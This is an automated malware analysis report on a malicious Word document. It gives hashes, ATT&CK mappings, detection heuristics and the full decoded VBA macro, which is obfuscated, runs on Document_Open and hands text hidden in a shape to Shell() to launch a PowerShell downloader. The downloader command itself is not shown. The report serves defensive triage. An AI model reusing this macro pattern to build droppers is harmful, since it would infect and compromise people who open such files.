Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6d1f3b250f08996e…

MALICIOUS

Office (OLE)

85.0 KB Created: 2018-11-13 10:48:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 4ad81964828518baaf696579bc89c485 SHA-1: 2bf3f3eddffe159f9782b0629dd89174f0810193 SHA-256: 6d1f3b250f08996e37b5cce64fcb2fc4afb689b7ae7d4f111d64a1fdbf79d31b
272 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes a Shell() call to execute a command that invokes cmd.exe, which in turn launches PowerShell. This PowerShell command appears to be designed to download and execute a second-stage payload from a remote source, as indicated by the suspicious command structure and the ClamAV detection name 'Doc.Downloader.Valyria-6768931-0'.

Heuristics 9

  • ClamAV: Doc.Downloader.Valyria-6768931-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6768931-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        End If
    aXiBbciYl = Shell(nizhMbTJBj + FZuoND + PDaZo, bAnEVvufKL)
       If (DwAbTFLCu <> 0 Or WottjB) Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
    Private Sub Document_open()
       If (zvifGwjz <> 0 Or FiaTz) Then
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4495 bytes
SHA-256: 5c166e97f4b01013fa010acf9258ba2e9d38a4dced48e2c177d67b132712b06a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
48 of 81 identifiers look randomly generated (e.g. 'cLMwbmJFctwpz') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "cLMwbmJFctwpz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function PHjJOvfi()
Const bAnEVvufKL = 728213473 - 728213473
   If (lhTlNZ <> 0 Or BmAbihvDP) Then
        BmAbihvDP = True
        mnuHSaF = mnuHSaF & Atn(lhTlNZ)
        If (lhTlNZ = 1) Then
            mnuHSaF = mnuHSaF & "Cojsj"
        Else
            mnuHSaF = mnuHSaF & "wmbMNHj"
        End If
    End If
   If (MrjSI <> 0 Or fCjobd) Then
        fCjobd = True
        qMSHNiLkP = qMSHNiLkP & CInt(MrjSI)
        If (MrjSI = 1) Then
            qMSHNiLkP = qMSHNiLkP & "CdfwF"
        Else
            qMSHNiLkP = qMSHNiLkP & "pIuvdiPj"
        End If
    End If
nizhMbTJBj = Shapes(1).TextFrame.ContainingRange
   If (WlAEItzvP <> 0 Or GtFiYwjjp) Then
        GtFiYwjjp = True
        RaTqjjh = RaTqjjh & CByte(WlAEItzvP)
        If (WlAEItzvP = 1) Then
            RaTqjjh = RaTqjjh & "IwiARmp"
        Else
            RaTqjjh = RaTqjjh & "PEtkhAppi"
        End If
    End If
   If (QEljCRTa <> 0 Or SJXcLcmTL) Then
        SJXcLcmTL = True
        bSpah = bSpah & CDbl(QEljCRTa)
        If (QEljCRTa = 1) Then
            bSpah = bSpah & "nEvQkdHR"
        Else
            bSpah = bSpah & "QQXQjiwLs"
        End If
    End If
   If (COzfdUpmU <> 0 Or QVaBjr) Then
        QVaBjr = True
        Zjdtz = Zjdtz & Atn(COzfdUpmU)
        If (COzfdUpmU = 1) Then
            Zjdtz = Zjdtz & "zDKOik"
        Else
            Zjdtz = Zjdtz & "BujhHzp"
        End If
    End If
   If (jRYFO <> 0 Or icnWbiD) Then
        icnWbiD = True
        PMXJL = PMXJL & CInt(jRYFO)
        If (jRYFO = 1) Then
            PMXJL = PMXJL & "CGlvMODi"
        Else
            PMXJL = PMXJL & "dHwuczV"
        End If
    End If
aXiBbciYl = Shell(nizhMbTJBj + FZuoND + PDaZo, bAnEVvufKL)
   If (DwAbTFLCu <> 0 Or WottjB) Then
        WottjB = True
        wQXTFilA = wQXTFilA & CInt(DwAbTFLCu)
        If (DwAbTFLCu = 1) Then
            wQXTFilA = wQXTFilA & "IOjAc"
        Else
            wQXTFilA = wQXTFilA & "djDAp"
        End If
    End If
   If (LuXza <> 0 Or OJMfBtdYf) Then
        OJMfBtdYf = True
        wSObMzw = wSObMzw & CInt(LuXza)
        If (LuXza = 1) Then
            wSObMzw = wSObMzw & "ulRLJpj"
        Else
            wSObMzw = wSObMzw & "mmFdvF"
        End If
    End If
End Function
Private Sub Document_open()
   If (zvifGwjz <> 0 Or FiaTz) Then
        FiaTz = True
        zCEoZC = zCEoZC & CByte(zvifGwjz)
        If (zvifGwjz = 1) Then
            zCEoZC = zCEoZC & "WwpHqTCis"
        Else
            zCEoZC = zCEoZC & "TpOBOq"
        End If
    End If
   If (kODkAlSp <> 0 Or jtAPUjzYl) Then
        jtAPUjzYl = True
        zHNvXNUHd = zHNvXNUHd & CDbl(kODkAlSp)
        If (kODkAlSp = 1) Then
            zHNvXNUHd = zHNvXNUHd & "LiLQBoow"
        Else
            zHNvXNUHd = zHNvXNUHd & "vDoBcWpr"
        End If
    End If
   If (RWQQPZz <> 0 Or wYIHlSMPq) Then
        wYIHlSMPq = True
        OiYmtzAL = OiYmtzAL & Atn(RWQQPZz)
        If (RWQQPZz = 1) Then
            OiYmtzAL = OiYmtzAL & "RowrVIq"
        Else
            OiYmtzAL = OiYmtzAL & "XkVaMK"
        End If
    End If
   If (GQccAofXS <> 0 Or WjioGfzh) Then
        WjioGfzh = True
        NjuBmpmK = NjuBmpmK & CByte(GQccAofXS)
        If (GQccAofXS = 1) Then
            NjuBmpmK = NjuBmpmK & "lZiWU"
        Else
            NjuBmpmK = NjuBmpmK & "XRiFL"
        End If
    End If
PHjJOvfi
   If (ZOjpL <> 0 Or sSwzw) Then
        sSwzw = True
        dSPDDiFz = dSPDDiFz & CByte(ZOjpL)
        If (ZOjpL = 1) Then
            dSPDDiFz = dSPDDiFz & "mzvEoiUM"
        Else
            dSPDDiFz = dSPDDiFz & "TMzsY"
        End If
    End If
   If (jFmEYYK <> 0 Or iuSFWJcGp) Then
        iuSFWJcGp = True
        nPnlXX = nPnlXX & CByte(jFmEYYK)
        If (jFmEYYK = 1) Then
            nPnlXX = nPnlXX & "Gvdliku"
        Else
            nPnlXX = nPnlXX & "bXcTuIN"
        End If
    End If
   If (VtMOp <> 0 Or rFHZkWovi) Then
        rFHZkWovi = True
        hSdhGA = hSdhGA & CInt(VtMOp)
        If (VtMOp = 1) Then
            hSdhGA = hSdhGA & "Xbvmzn"
        Else
            hSdhGA = hSdhGA & "KZblPdLIQ"
        End If
    End If
End Sub